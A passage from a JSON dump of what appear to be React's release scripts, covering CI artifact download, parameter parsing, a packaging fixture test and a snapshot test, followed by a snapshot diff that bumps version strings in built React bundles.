-xvzf build.tgz && rm build.tgz`,\n    {\n      cwd,\n    }\n  );\n\n  // Copy to staging directory\n  // TODO: Consider staging the release in a different directory from the CI\n  // build artifacts: `./build/node_modules` -> `./staged-releases`\n  if (!existsSync(join(cwd, 'build'))) {\n    await exec(`mkdir ./build`, {cwd});\n  } else {\n    await exec(`rm -rf ./build/node_modules`, {cwd});\n  }\n  let sourceDir;\n  // TODO: Rename release channel to `next`\n  if (opts.releaseChannel === 'stable') {\n    sourceDir = 'oss-stable';\n  } else if (opts.releaseChannel === 'experimental') {\n    sourceDir = 'oss-experimental';\n  } else if (opts.releaseChannel === 'rc') {\n    sourceDir = 'oss-stable-rc';\n  } else if (opts.releaseChannel === 'latest') {\n    sourceDir = 'oss-stable-semver';\n  } else {\n    console.error(\n      'Internal error: Invalid release channel: ' + opts.releaseChannel\n    );\n    process.exit(opts.releaseChannel);\n  }\n  await exec(`cp -r ./build/${sourceDir} ./build/node_modules`, {\n    cwd,\n  });\n\n  // Validate artifact\n  const buildSha = readFileSync('./build/COMMIT_SHA', 'utf8').replace(\n    /[\\u0000-\\u001F\\u007F-\\u009F]/g,\n    ''\n  );\n  if (buildSha !== opts.commit) {\n    throw new Error(\n      `Requested commit sha does not match downloaded artifact. Expected: ${opts.commit}, got: ${buildSha}`\n    );\n  }\n}\n\nasync function downloadArtifactsFromGitHub(opts) {\n  let workflowRun;\n  let retries = 0;\n  // wait up to 10 mins for build to finish: 10 * 60 * 1_000) / 30_000 = 20\n  while (retries < 20) {\n    workflowRun = await getWorkflowRun(opts.commit);\n    if (typeof workflowRun.status === 'string') {\n      switch (workflowRun.status) {\n        case 'queued':\n        case 'in_progress':\n        case 'waiting': {\n          retries++;\n          console.log(theme`Build still in progress, waiting 30s...`);\n          await sleep(30_000);\n          break;\n        }\n        case 'completed': {\n          if (workflowRun.conclusion === 'success') {\n            const artifact = await getArtifact(\n              workflowRun.id,\n              'artifacts_combined'\n            );\n            await processArtifact(artifact, opts);\n            return;\n          } else {\n            console.log(\n              theme`{error Could not download build as its conclusion was: ${workflowRun.conclusion}}`\n            );\n            process.exit(1);\n          }\n          break;\n        }\n        default: {\n          console.log(\n            theme`{error Unhandled workflow run status: ${workflowRun.status}}`\n          );\n          process.exit(1);\n        }\n      }\n    } else {\n      retries++;\n      console.log(\n        theme`{error Expected workflow run status to be a string, got: ${workflowRun.status}. Retrying...}`\n      );\n    }\n  }\n\n  console.log(\n    theme`{error Could not download build from GitHub. Last workflow run: }\n\n${workflowRun != null ? JSON.stringify(workflowRun, null, '\\t') : workflowRun}`\n  );\n  process.exit(1);\n}\n\nasync function downloadBuildArtifacts(opts) {\n  const label = theme`commit {commit ${opts.commit}})`;\n  return logPromise(\n    downloadArtifactsFromGitHub(opts),\n    theme`Downloading artifacts from GitHub for ${label}`\n  );\n}\n\nmodule.exports = {\n  downloadBuildArtifacts,\n};\n"
  },
  {
    "path": "scripts/release/shared-commands/parse-params.js",
    "content": "#!/usr/bin/env node\n\n'use strict';\n\nconst commandLineArgs = require('command-line-args');\nconst theme = require('../theme');\n\nconst paramDefinitions = [\n  {\n    name: 'build',\n    type: String,\n    description:\n      'CI build ID corresponding to the \"process_artifacts_combined\" task.',\n    defaultValue: null,\n  },\n  {\n    name: 'commit',\n    type: String,\n    description:\n      'GitHub commit SHA. When provided, automatically finds corresponding CI build.',\n    defaultValue: null,\n  },\n  {\n    name: 'skipTests',\n    type: Boolean,\n    description: 'Skip automated fixture tests.',\n    defaultValue: false,\n  },\n  {\n    name: 'releaseChannel',\n    alias: 'r',\n    type: String,\n    description: 'Release channel (stable, experimental, or latest)',\n  },\n  {\n    name: 'allowBrokenCI',\n    type: Boolean,\n    description:\n      'Continue even if CI is failing. Useful if you need to debug a broken build.',\n    defaultValue: false,\n  },\n];\n\nmodule.exports = async () => {\n  const params = commandLineArgs(paramDefinitions);\n\n  const channel = params.releaseChannel;\n  if (\n    channel !== 'experimental' &&\n    channel !== 'stable' &&\n    channel !== 'rc' &&\n    channel !== 'latest'\n  ) {\n    console.error(\n      theme.error`Invalid release channel (-r) \"${channel}\". Must be \"stable\", \"experimental\", \"rc\", or \"latest\".`\n    );\n    process.exit(1);\n  }\n\n  if (params.commit === null) {\n    console.error(theme.error`A --commit param must be specified.`);\n    process.exit(1);\n  }\n\n  return params;\n};\n"
  },
  {
    "path": "scripts/release/shared-commands/print-prerelease-summary.js",
    "content": "#!/usr/bin/env node\n\n'use strict';\n\nconst clear = require('clear');\nconst {join, relative} = require('path');\nconst theme = require('../theme');\n\nmodule.exports = ({cwd}, isStableRelease) => {\n  const publishPath = relative(\n    process.env.PWD,\n    join(__dirname, '../publish.js')\n  );\n\n  clear();\n\n  let message;\n  if (isStableRelease) {\n    message = theme`\n      {caution A stable release candidate has been prepared!}\n\n      You can review the contents of this release in {path build/node_modules/}\n\n      {header Before publishing, consider testing this release locally with create-react-app!}\n\n      You can publish this release by running:\n      {path   ${publishPath}}\n    `;\n  } else {\n    message = theme`\n      {caution A \"next\" release candidate has been prepared!}\n\n      You can review the contents of this release in {path build/node_modules/}\n\n      You can publish this release by running:\n      {path   ${publishPath}}\n    `;\n  }\n\n  console.log(message.replace(/\\n +/g, '\\n').trim());\n};\n"
  },
  {
    "path": "scripts/release/shared-commands/test-packaging-fixture.js",
    "content": "#!/usr/bin/env node\n\n'use strict';\n\nconst {exec} = require('child-process-promise');\nconst {join} = require('path');\nconst puppeteer = require('puppeteer');\nconst server = require('pushstate-server');\nconst theme = require('../theme');\nconst {logPromise} = require('../utils');\n\nconst validate = async () => {\n  const browser = await puppeteer.launch();\n  const page = await browser.newPage();\n\n  await page.goto('http://localhost:9000/fixtures/packaging');\n\n  try {\n    return await page.evaluate(() => {\n      const iframes = document.querySelectorAll('iframe');\n\n      if (iframes.length === 0) {\n        return 'No iframes were found.';\n      }\n\n      for (let i = 0; i < iframes.length; i++) {\n        const iframe = iframes[i];\n        // Don't include the <script> Babel tag\n        const container =\n          iframe.contentDocument.body.getElementsByTagName('div')[0];\n        if (container.textContent !== 'Hello World!') {\n          return `Unexpected fixture content, \"${container.textContent}\"`;\n        }\n      }\n\n      return null;\n    });\n  } finally {\n    await browser.close();\n  }\n};\n\nconst run = async ({cwd}) => {\n  await logPromise(\n    exec('node build-all.js', {cwd: join(cwd, 'fixtures/packaging')}),\n    'Generating \"packaging\" fixture',\n    20000 // This takes roughly 20 seconds\n  );\n\n  let errorMessage;\n  let response;\n\n  try {\n    response = server.start({\n      port: 9000,\n      directory: cwd,\n    });\n\n    errorMessage = await logPromise(\n      validate(),\n      'Verifying \"packaging\" fixture'\n    );\n  } finally {\n    response.close();\n  }\n\n  if (errorMessage) {\n    console.error(\n      theme.error('✗'),\n      'Verifying \"packaging\" fixture\\n ',\n      theme.error(errorMessage)\n    );\n    process.exit(1);\n  }\n};\n\nmodule.exports = run;\n"
  },
  {
    "path": "scripts/release/snapshot-test.js",
    "content": "#!/usr/bin/env node\n\n'use strict';\n\nconst {exec, spawn} = require('child-process-promise');\nconst {join} = require('path');\nconst {readFileSync} = require('fs');\nconst theme = require('./theme');\nconst {getDateStringForCommit, logPromise, printDiff} = require('./utils');\n\nconst cwd = join(__dirname, '..', '..');\n\nconst CIRCLE_CI_BUILD = 12707;\nconst COMMIT = 'b3d1a81a9';\nconst VERSION = '1.2.3';\n\nconst run = async () => {\n  const defaultOptions = {\n    cwd,\n    env: process.env,\n  };\n\n  try {\n    // Start with a known build/revision:\n    // https://circleci.com/gh/facebook/react/12707\n    let promise = spawn(\n      'node',\n      [\n        './scripts/release/prepare-release-from-ci.js',\n        `--build=${CIRCLE_CI_BUILD}`,\n      ],\n      defaultOptions\n    );\n    logPromise(\n      promise,\n      theme`Checking out \"next\" build {version ${CIRCLE_CI_BUILD}}`\n    );\n    await promise;\n\n    const dateString = await getDateStringForCommit(COMMIT);\n\n    // Upgrade the above build top a known React version.\n    // Note that using the --local flag skips NPM checkout.\n    // This isn't totally necessary but is useful if we want to test an unpublished \"next\" build.\n    promise = spawn(\n      'node',\n      [\n        './scripts/release/prepare-release-from-npm.js',\n        `--version=0.0.0-${COMMIT}-${dateString}`,\n        '--local',\n      ],\n      defaultOptions\n    );\n    promise.childProcess.stdin.setEncoding('utf-8');\n    promise.childProcess.stdout.setEncoding('utf-8');\n    promise.childProcess.stdout.on('data', data => {\n      if (data.includes('✓ Version for')) {\n        // Update all packages to a stable version\n        promise.childProcess.stdin.write(VERSION);\n      } else if (data.includes('(y/N)')) {\n        // Accept all of the confirmation prompts\n        promise.childProcess.stdin.write('y');\n      }\n    });\n    logPromise(promise, theme`Preparing stable release {version ${VERSION}}`);\n    await promise;\n\n    const beforeContents = readFileSync(\n      join(cwd, 'scripts/release/snapshot-test.snapshot'),\n      'utf-8'\n    );\n    await exec('cp build/temp.diff scripts/release/snapshot-test.snapshot', {\n      cwd,\n    });\n    const afterContents = readFileSync(\n      join(cwd, 'scripts/release/snapshot-test.snapshot'),\n      'utf-8'\n    );\n\n    if (beforeContents === afterContents) {\n      console.log(theme.header`Snapshot test passed.`);\n    } else {\n      printDiff(\n        'scripts/release/snapshot-test.snapshot',\n        beforeContents,\n        afterContents\n      );\n      console.log();\n      console.error(theme.error('Snapshot test failed!'));\n      console.log();\n      console.log(\n        'If this failure was expected, please update the contents of the snapshot file:'\n      );\n      console.log(\n        theme`  {command git add} {path scripts/release/snapshot-test.snapshot}`\n      );\n      console.log(\n        theme`  {command git commit -m \"Updating release script snapshot file.\"}`\n      );\n      process.exit(1);\n    }\n  } catch (error) {\n    console.error(theme.error(error));\n    process.exit(1);\n  }\n};\n\nrun();\n"
  },
  {
    "path": "scripts/release/snapshot-test.snapshot",
    "content": "Index: build/node_modules/create-subscription/cjs/create-subscription.development.js\n===================================================================\n--- build/node_modules/create-subscription/cjs/create-subscription.development.js\n+++ build/node_modules/create-subscription/cjs/create-subscription.development.js\n@@ -1,5 +1,5 @@\n-/** @license React v0.0.0-b3d1a81a9\n+/** @license React v1.2.3\n  * create-subscription.development.js\n  *\n  * Copyright (c) Meta Platforms, Inc. and affiliates.\n  *\nIndex: build/node_modules/create-subscription/cjs/create-subscription.production.min.js\n===================================================================\n--- build/node_modules/create-subscription/cjs/create-subscription.production.min.js\n+++ build/node_modules/create-subscription/cjs/create-subscription.production.min.js\n@@ -1,5 +1,5 @@\n-/** @license React v0.0.0-b3d1a81a9\n+/** @license React v1.2.3\n  * create-subscription.production.min.js\n  *\n  * Copyright (c) Meta Platforms, Inc. and affiliates.\n  *\nIndex: build/node_modules/jest-react/cjs/jest-react.production.min.js\n===================================================================\n--- build/node_modules/jest-react/cjs/jest-react.production.min.js\n+++ build/node_modules/jest-react/cjs/jest-react.production.min.js\n@@ -1,5 +1,5 @@\n-/** @license React v0.0.0-b3d1a81a9\n+/** @license React v1.2.3\n  * jest-react.production.min.js\n  *\n  * Copyright (c) Meta Platforms, Inc. and affiliates.\n  *\nIndex: build/node_modules/jest-react/cjs/jest-react.development.js\n===================================================================\n--- build/node_modules/jest-react/cjs/jest-react.development.js\n+++ build/node_modules/jest-react/cjs/jest-react.development.js\n@@ -1,5 +1,5 @@\n-/** @license React v0.0.0-b3d1a81a9\n+/** @license React v1.2.3\n  * jest-react.development.js\n  *\n  * Copyright (c) Meta Platforms, Inc. and affiliates.\n  *\nIndex: build/node_modules/react/umd/react.production.min.js\n===================================================================\n--- build/node_modules/react/umd/react.production.min.js\n+++ build/node_modules/react/umd/react.production.min.js\n@@ -1,5 +1,5 @@\n-/** @license React v0.0.0-b3d1a81a9\n+/** @license React v1.2.3\n  * react.production.min.js\n  *\n  * Copyright (c) Meta Platforms, Inc. and affiliates.\n  *\n@@ -27,5 +27,5 @@\n k;return function(){var d=k,c=m;k=b;m=l();try{return a.apply(this,arguments)}finally{k=d,m=c,R()}}},unstable_getCurrentPriorityLevel:function(){return k}},SchedulerTracing:{__interactionsRef:null,__subscriberRef:null,unstable_clear:function(a){return a()},unstable_getCurrent:function(){return null},unstable_getThreadID:function(){return++Oa},unstable_subscribe:function(a){},unstable_trace:function(a,b,d){return d()},unstable_unsubscribe:function(a){},unstable_wrap:function(a){return a}}});var fa=\n Object.prototype.hasOwnProperty,ha={key:!0,ref:!0,__self:!0,__source:!0},la=/\\/+/g,I=[];r={Children:{map:function(a,b,d){if(null==a)return a;var c=[];X(a,c,null,b,d);return c},forEach:function(a,b,d){if(null==a)return a;b=ia(null,null,b,d);W(a,ya,b);ja(b)},count:function(a){return W(a,function(){return null},null)},toArray:function(a){var b=[];X(a,b,null,function(a){return a});return b},only:function(a){T(a)?void 0:p(\"143\");return a}},createRef:function(){return{current:null}},Component:q,PureComponent:O,\n createContext:function(a,b){void 0===b&&(b=null);a={$$typeof:Ca,_calculateChangedBits:b,_currentValue:a,_currentValue2:a,_threadCount:0,Provider:null,Consumer:null};a.Provider={$$typeof:Ba,_context:a};return a.Consumer=a},forwardRef:function(a){return{$$typeof:Ea,render:a}},lazy:function(a){return{$$typeof:Ha,_ctor:a,_status:-1,_result:null}},memo:function(a,b){return{$$typeof:Ga,type:a,compare:void 0===b?null:b}},Fragment:r,StrictMode:Aa,Suspense:Fa,createElement:ea,cloneElement:function(a,b,d){null===\n a||void 0===a?p(\"267\",a):void 0;var c=void 0,e=J({},a.props),g=a.key,k=a.ref,h=a._owner;if(null!=b){void 0!==b.ref&&(k=b.ref,h=S.current);void 0!==b.key&&(g=\"\"+b.key);var l=void 0;a.type&&a.type.defaultProps&&(l=a.type.defaultProps);for(c in b)fa.call(b,c)&&!ha.hasOwnProperty(c)&&(e[c]=void 0===b[c]&&void 0!==l?l[c]:b[c])}c=arguments.length-2;if(1===c)e.children=d;else if(1<c){l=Array(c);for(var m=0;m<c;m++)l[m]=arguments[m+2];e.children=l}return{$$typeof:x,type:a.type,key:g,ref:k,props:e,_owner:h}},\n-createFactory:function(a){var b=ea.bind(null,a);b.type=a;return b},isValidElement:T,version:\"16.6.1-canary-b3d1a81a9\",__SECRET_INTERNALS_DO_NOT_USE_OR_YOU_WILL_BE_FIRED:e};r.unstable_ConcurrentMode=Da;r.unstable_Profiler=t;t=(t={default:r},r)||t;return t.default||t});\n+createFactory:function(a){var b=ea.bind(null,a);b.type=a;return b},isValidElement:T,version:\"1.2.3\",__SECRET_INTERNALS_DO_NOT_USE_OR_YOU_WILL_BE_FIRED:e};r.unstable_ConcurrentMode=Da;r.unstable_Profiler=t;t=(t={default:r},r)||t;return t.default||t});\nIndex: build/node_modules/react/umd/react.development.js\n===================================================================\n--- build/node_modules/react/umd/react.development.js\n+++ build/node_modules/react/umd/react.development.js\n@@ -1,5 +1,5 @@\n-/** @license React v0.0.0-b3d1a81a9\n+/** @license React v1.2.3\n  * react.development.js\n  *\n  * Copyright (c) Meta Platforms, Inc. and affiliates.\n  *\n@@ -16,9 +16,9 @@\n }(this, (function () { 'use strict';\n\n // TODO: this is special because it gets imported during build.\n\n-var ReactVersion = '16.6.1-canary-b3d1a81a9';\n+var ReactVersion = '1.2.3';\n\n // The Symbol used to tag the ReactElement-like types. If there is no native Symbol\n // nor polyfill, then a plain number is used for performance.\n var hasSymbol = typeof Symbol === 'function' && Symbol.for;\nIndex: build/node_modules/react/umd/react.profiling.min.js\n===================================================================\n--- build/node_modules/react/umd/react.profiling.min.js\n+++ build/node_modules/react/umd/react.profiling.min.js\n@@ -1,5 +1,5 @@\n-/** @license React v0.0.0-b3d1a81a9\n+/** @license React v1.2.3\n  * react.profiling.min.js\n  *\n  * Copyright (c) Meta Platforms, Inc. and affiliates.\n  *\n@@ -31,5 +31,5 @@\n b,null!==e)e.onWorkStopped(d,c)}}return g}finally{f||(f=!0,d.forEach(function(a){a.__count--;if(null!==e&&0===a.__count)e.onInteractionScheduledWorkCompleted(a)}))}}var c=1<arguments.length&&void 0!==arguments[1]?arguments[1]:0,d=m.current,e=t.current;if(null!==e)e.onWorkScheduled(d,c);d.forEach(function(a){a.__count++});var f=!1;b.cancel=function(){e=t.current;try{if(null!==e)e.onWorkCanceled(d,c)}finally{d.forEach(function(a){a.__count--;if(e&&0===a.__count)e.onInteractionScheduledWorkCompleted(a)})}};\n return b}}});var ja=Object.prototype.hasOwnProperty,ka={key:!0,ref:!0,__self:!0,__source:!0},oa=/\\/+/g,L=[];v={Children:{map:function(a,b,c){if(null==a)return a;var d=[];aa(a,d,null,b,c);return d},forEach:function(a,b,c){if(null==a)return a;b=la(null,null,b,c);Z(a,Ha,b);ma(b)},count:function(a){return Z(a,function(){return null},null)},toArray:function(a){var b=[];aa(a,b,null,function(a){return a});return b},only:function(a){W(a)?void 0:r(\"143\");return a}},createRef:function(){return{current:null}},\n Component:u,PureComponent:R,createContext:function(a,b){void 0===b&&(b=null);a={$$typeof:La,_calculateChangedBits:b,_currentValue:a,_currentValue2:a,_threadCount:0,Provider:null,Consumer:null};a.Provider={$$typeof:Ka,_context:a};return a.Consumer=a},forwardRef:function(a){return{$$typeof:Na,render:a}},lazy:function(a){return{$$typeof:Qa,_ctor:a,_status:-1,_result:null}},memo:function(a,b){return{$$typeof:Pa,type:a,compare:void 0===b?null:b}},Fragment:v,StrictMode:Ja,Suspense:Oa,createElement:ia,cloneElement:function(a,\n b,c){null===a||void 0===a?r(\"267\",a):void 0;var d=void 0,e=M({},a.props),f=a.key,h=a.ref,k=a._owner;if(null!=b){void 0!==b.ref&&(h=b.ref,k=V.current);void 0!==b.key&&(f=\"\"+b.key);var l=void 0;a.type&&a.type.defaultProps&&(l=a.type.defaultProps);for(d in b)ja.call(b,d)&&!ka.hasOwnProperty(d)&&(e[d]=void 0===b[d]&&void 0!==l?l[d]:b[d])}d=arguments.length-2;if(1===d)e.children=c;else if(1<d){l=Array(d);for(var m=0;m<d;m++)l[m]=arguments[m+2];e.children=l}return{$$typeof:A,type:a.type,key:f,ref:h,props:e,\n-_owner:k}},createFactory:function(a){var b=ia.bind(null,a);b.type=a;return b},isValidElement:W,version:\"16.6.1-canary-b3d1a81a9\",__SECRET_INTERNALS_DO_NOT_USE_OR_YOU_WILL_BE_FIRED:h};v.unstable_ConcurrentMode=Ma;v.unstable_Profiler=w;w=(w={default:v},v)||w;return w.default||w});\n+_owner:k}},createFactory:function(a){var b=ia.bind(null,a);b.type=a;return b},isValidElement:W,version:\"1.2.3\",__SECRET_INTERNALS_DO_NOT_USE_OR_YOU_WILL_BE_FIRED:h};v.unstable_ConcurrentMode=Ma;v.unstable_Profiler=w;w=(w={default:v},v)||w;return w.default||w});\nIndex: build/node_modules/react/cjs/react.production.min.js\n===================================================================\n--- build/node_modules/react/cjs/react.production.min.js\n+++ build/node_modules/react/cjs/react.production.min.js\n@@ -1,5 +1,5 @@\n-/** @license React v0.0.0-b3d1a81a9\n+/** @license React v1.2.3\n  * react.production.min.js\n  *\n  * Copyright (c) Meta Platforms, Inc. and affiliates.\n  *\n@@ -19,6 +19,6 @@\n 0;!(d=a.next()).done;)d=d.value,f=b+U(d,h++),g+=T(d,f,e,c);else\"object\"===d&&(e=\"\"+a,D(\"31\",\"[object Object]\"===e?\"object with keys {\"+Object.keys(a).join(\", \")+\"}\":e,\"\"));return g}function V(a,b,e){return null==a?0:T(a,\"\",b,e)}function U(a,b){return\"object\"===typeof a&&null!==a&&null!=a.key?escape(a.key):b.toString(36)}function ca(a,b){a.func.call(a.context,b,a.count++)}\n function da(a,b,e){var c=a.result,d=a.keyPrefix;a=a.func.call(a.context,b,a.count++);Array.isArray(a)?W(a,c,e,function(a){return a}):null!=a&&(O(a)&&(a=ba(a,d+(!a.key||b&&b.key===a.key?\"\":(\"\"+a.key).replace(P,\"$&/\")+\"/\")+e)),c.push(a))}function W(a,b,e,c,d){var g=\"\";null!=e&&(g=(\"\"+e).replace(P,\"$&/\")+\"/\");b=R(b,g,c,d);V(a,da,b);S(b)}\n var X={Children:{map:function(a,b,e){if(null==a)return a;var c=[];W(a,c,null,b,e);return c},forEach:function(a,b,e){if(null==a)return a;b=R(null,null,b,e);V(a,ca,b);S(b)},count:function(a){return V(a,function(){return null},null)},toArray:function(a){var b=[];W(a,b,null,function(a){return a});return b},only:function(a){O(a)?void 0:D(\"143\");return a}},createRef:function(){return{current:null}},Component:G,PureComponent:I,createContext:function(a,b){void 0===b&&(b=null);a={$$typeof:w,_calculateChangedBits:b,\n _currentValue:a,_currentValue2:a,_threadCount:0,Provider:null,Consumer:null};a.Provider={$$typeof:v,_context:a};return a.Consumer=a},forwardRef:function(a){return{$$typeof:y,render:a}},lazy:function(a){return{$$typeof:B,_ctor:a,_status:-1,_result:null}},memo:function(a,b){return{$$typeof:A,type:a,compare:void 0===b?null:b}},Fragment:r,StrictMode:t,Suspense:z,createElement:N,cloneElement:function(a,b,e){null===a||void 0===a?D(\"267\",a):void 0;var c=void 0,d=k({},a.props),g=a.key,h=a.ref,f=a._owner;\n-if(null!=b){void 0!==b.ref&&(h=b.ref,f=K.current);void 0!==b.key&&(g=\"\"+b.key);var l=void 0;a.type&&a.type.defaultProps&&(l=a.type.defaultProps);for(c in b)L.call(b,c)&&!M.hasOwnProperty(c)&&(d[c]=void 0===b[c]&&void 0!==l?l[c]:b[c])}c=arguments.length-2;if(1===c)d.children=e;else if(1<c){l=Array(c);for(var m=0;m<c;m++)l[m]=arguments[m+2];d.children=l}return{$$typeof:p,type:a.type,key:g,ref:h,props:d,_owner:f}},createFactory:function(a){var b=N.bind(null,a);b.type=a;return b},isValidElement:O,version:\"16.6.1-canary-b3d1a81a9\",\n+if(null!=b){void 0!==b.ref&&(h=b.ref,f=K.current);void 0!==b.key&&(g=\"\"+b.key);var l=void 0;a.type&&a.type.defaultProps&&(l=a.type.defaultProps);for(c in b)L.call(b,c)&&!M.hasOwnProperty(c)&&(d[c]=void 0===b[c]&&void 0!==l?l[c]:b[c])}c=arguments.length-2;if(1===c)d.children=e;else if(1<c){l=Array(c);for(var m=0;m<c;m++)l[m]=arguments[m+2];d.children=l}return{$$typeof:p,type:a.type,key:g,ref:h,props:d,_owner:f}},createFactory:function(a){var b=N.bind(null,a);b.type=a;return b},isValidElement:O,version:\"1.2.3\",\n __SECRET_INTERNALS_DO_NOT_USE_OR_YOU_WILL_BE_FIRED:{ReactCurrentOwner:K,assign:k}};X.unstable_ConcurrentMode=x;X.unstable_Profiler=u;var Y={default:X},Z=Y&&X||Y;module.exports=Z.default||Z;\nIndex: build/node_modules/react/cjs/react.development.js\n===================================================================\n--- build/node_modules/react/cjs/react.development.js\n+++ build/node_modules/react/cjs/react.development.js\n@@ -1,5 +1,5 @@\n-/** @license React v0.0.0-b3d1a81a9\n+/** @license React v1.2.3\n  * react.development.js\n  *\n  * Copyright (c) Meta Platforms, Inc. and affiliates.\n  *\n@@ -19,9 +19,9 @@\n var checkPropTypes = require('prop-types/checkPropTypes');\n\n // TODO: this is special because it gets imported during build.\n\n-var ReactVersion = '16.6.1-canary-b3d1a81a9';\n+var ReactVersion = '1.2.3';\n\n // The Symbol used to tag the ReactElement-like types. If there is no native Symbol\n // nor polyfill, then a plain number is used for performance.\n var hasSymbol = typeof Symbol === 'function' && Symbol.for;\nIndex: build/node_modules/react-art/umd/react-art.development.js\n===================================================================\n--- build/node_modules/react-art/umd/react-art.development.js\n+++ build/node_modules/react-art/umd/react-art.development.js\n@@ -1,5 +1,5 @@\n-/** @license React v0.0.0-b3d1a81a9\n+/** @license React v1.2.3\n  * react-art.development.js\n  *\n  * Copyright (c) Meta Platforms, Inc. and affiliates.\n  *\n@@ -20,9 +20,9 @@\n var _assign = ReactInternals.assign;\n\n // TODO: this is special because it gets imported during build.\n\n-var ReactVersion = '16.6.1-canary-b3d1a81a9';\n+var ReactVersion = '1.2.3';\n\n /**\n  * Use invariant() to assert state which your program assumes to be true.\n  *\nIndex: build/node_modules/react-art/umd/react-art.production.min.js\n===================================================================\n--- build/node_modules/react-art/umd/react-art.production.min.js\n+++ build/node_modules/react-art/umd/react-art.production.min.js\n@@ -1,5 +1,5 @@\n-/** @license React v0.0.0-b3d1a81a9\n+/** @license React v1.2.3\n  * react-art.production.min.js\n  *\n  * Copyright (c) Meta Platforms, Inc. and affiliates.\n  *\n@@ -184,5 +184,5 @@\n this._args)};return a}(),Xe=function(){function a(b,c,d,e,f,g,h){ab(this,a);this._args=Cc.call(arguments)}a.prototype.applyFill=function(a){a.fillRadial.apply(a,this._args)};return a}(),Ye=function(){function a(b,c,d,e,f){ab(this,a);this._args=Cc.call(arguments)}a.prototype.applyFill=function(a){a.fillImage.apply(a,this._args)};return a}(),Ze=function(a){function b(){ab(this,b);return Rd(this,a.apply(this,arguments))}Sd(b,a);b.prototype.componentDidMount=function(){var a=this.props,b=this._surface=\n ja.Surface(+a.width,+a.height,this._tagRef);a=P(3,null,null,0);b={current:a,containerInfo:b,pendingChildren:null,earliestPendingTime:0,latestPendingTime:0,earliestSuspendedTime:0,latestSuspendedTime:0,latestPingedTime:0,didError:!1,pendingCommitExpirationTime:0,finishedWork:null,timeoutHandle:-1,context:null,pendingContext:null,hydrate:void 0,nextExpirationTimeToWorkOn:0,expirationTime:0,firstBatch:null,nextScheduledRoot:null};this._mountNode=a.stateNode=b;uc(this.props.children,this._mountNode,this)};\n b.prototype.componentDidUpdate=function(a,b){b=this.props;b.height===a.height&&b.width===a.width||this._surface.resize(+b.width,+b.height);uc(this.props.children,this._mountNode,this);this._surface.render&&this._surface.render()};b.prototype.componentWillUnmount=function(){uc(null,this._mountNode,this)};b.prototype.render=function(){var a=this,b=this.props;return O.createElement(ja.Surface.tagName,{ref:function(b){return a._tagRef=b},accessKey:b.accessKey,className:b.className,draggable:b.draggable,\n role:b.role,style:b.style,tabIndex:b.tabIndex,title:b.title})};return b}(O.Component),$e=function(a){function b(c){ab(this,b);var d=Rd(this,a.call(this,c));[\"height\",\"width\",\"x\",\"y\"].forEach(function(a){Object.defineProperty(d,a,{get:function(){return this._text?this._text[a]:void 0}})});return d}Sd(b,a);b.prototype.render=function(){var a=this;return O.createElement(ia.TEXT,Ve({},this.props,{ref:function(b){return a._text=b}}),Kc(this.props.children))};return b}(O.Component);(function(a){var b=a.findFiberByHostInstance;\n-return ie(ya({},a,{findHostInstanceByFiber:function(a){a=be(a);return null===a?null:a.stateNode},findFiberByHostInstance:function(a){return b?b(a):null}}))})({findFiberByHostInstance:function(){return null},bundleType:0,version:\"16.6.1-canary-b3d1a81a9\",rendererPackageName:\"react-art\"});return{ClippingRectangle:ia.CLIPPING_RECTANGLE,Group:ia.GROUP,Shape:ia.SHAPE,Path:ja.Path,LinearGradient:We,Pattern:Ye,RadialGradient:Xe,Surface:Ze,Text:$e,Transform:C}});\n+return ie(ya({},a,{findHostInstanceByFiber:function(a){a=be(a);return null===a?null:a.stateNode},findFiberByHostInstance:function(a){return b?b(a):null}}))})({findFiberByHostInstance:function(){return null},bundleType:0,version:\"1.2.3\",rendererPackageName:\"react-art\"});return{ClippingRectangle:ia.CLIPPING_RECTANGLE,Group:ia.GROUP,Shape:ia.SHAPE,Path:ja.Path,LinearGradient:We,Pattern:Ye,RadialGradient:Xe,Surface:Ze,Text:$e,Transform:C}});\nIndex: build/node_modules/react-art/cjs/react-art.development.js\n===================================================================\n--- build/node_modules/react-art/cjs/react-art.development.js\n+++ build/node_modules/react-art/cjs/react-art.development.js\n@@ -1,5 +1,5 @@\n-/** @license React v0.0.0-b3d1a81a9\n+/** @license React v1.2.3\n  * react-art.development.js\n  *\n  * Copyright (c) Meta Platforms, Inc. and affiliates.\n  *\n@@ -25,9 +25,9 @@\n var FastNoSideEffects = require('art/modes/fast-noSideEffects');\n\n // TODO: this is special because it gets imported during build.\n\n-var ReactVersion = '16.6.1-canary-b3d1a81a9';\n+var ReactVersion = '1.2.3';\n\n /**\n  * Use invariant() to assert state which your program assumes to be true.\n  *\nIndex: build/node_modules/react-art/cjs/react-art.production.min.js\n===================================================================\n--- build/node_modules/react-art/cjs/react-art.production.min.js\n+++ build/node_modules/react-art/cjs/react-art.production.min.js\n@@ -1,5 +1,5 @@\n-/** @license React v0.0.0-b3d1a81a9\n+/** @license React v1.2.3\n  * react-art.production.min.js\n  *\n  * Copyright (c) Meta Platforms, Inc. and affiliates.\n  *\n@@ -138,6 +138,6 @@\n var Sd=Array.prototype.slice,Td=function(){function b(a,c,d,e,f){Rd(this,b);this._args=Sd.call(arguments)}b.prototype.applyFill=function(a){a.fillLinear.apply(a,this._args)};return b}(),Ud=function(){function b(a,c,d,e,f,g,k){Rd(this,b);this._args=Sd.call(arguments)}b.prototype.applyFill=function(a){a.fillRadial.apply(a,this._args)};return b}(),Vd=function(){function b(a,c,d,e,f){Rd(this,b);this._args=Sd.call(arguments)}b.prototype.applyFill=function(a){a.fillImage.apply(a,this._args)};return b}(),\n Wd=function(b){function a(){Rd(this,a);return Pd(this,b.apply(this,arguments))}Qd(a,b);a.prototype.componentDidMount=function(){var a=this.props,b=this._surface=m.Surface(+a.width,+a.height,this._tagRef);a=L(3,null,null,0);b={current:a,containerInfo:b,pendingChildren:null,earliestPendingTime:0,latestPendingTime:0,earliestSuspendedTime:0,latestSuspendedTime:0,latestPingedTime:0,didError:!1,pendingCommitExpirationTime:0,finishedWork:null,timeoutHandle:-1,context:null,pendingContext:null,hydrate:void 0,\n nextExpirationTimeToWorkOn:0,expirationTime:0,firstBatch:null,nextScheduledRoot:null};this._mountNode=a.stateNode=b;Nd(this.props.children,this._mountNode,this)};a.prototype.componentDidUpdate=function(a){var b=this.props;b.height===a.height&&b.width===a.width||this._surface.resize(+b.width,+b.height);Nd(this.props.children,this._mountNode,this);this._surface.render&&this._surface.render()};a.prototype.componentWillUnmount=function(){Nd(null,this._mountNode,this)};a.prototype.render=function(){var a=\n this,b=this.props;return ba.createElement(m.Surface.tagName,{ref:function(b){return 